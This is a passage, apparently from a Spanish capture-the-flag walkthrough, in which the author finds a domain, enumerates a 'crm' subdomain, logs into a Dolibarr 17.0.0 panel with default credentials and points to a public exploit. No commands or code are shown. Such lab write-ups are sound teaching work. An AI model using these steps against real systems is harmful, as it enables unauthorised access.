Info:
Si vemos en el pie de pagina un dominio que utiliza la web, por lo que haremos lo siguiente...
Ahora si ponemos ese dominio en la pagina, nos cargara como la de antes, por lo que probaremos a buscar subdominios de la siguiente manera ya que en la pagina no hay nada en especial...
Info:
Por lo que vemos encontramos un subdominio llamado crm por lo que nos lo pondremos en el hosts....
Una vez guardado, si buscamos con esa URL, veremos un panel de login...
Si probamos las credenciales por defecto nos dejara logearnos...
Si vemos que la version de la pagina es Dolibarr 17.0.0 por lo que si buscamos un exploit lo encontraremos en GitHub...
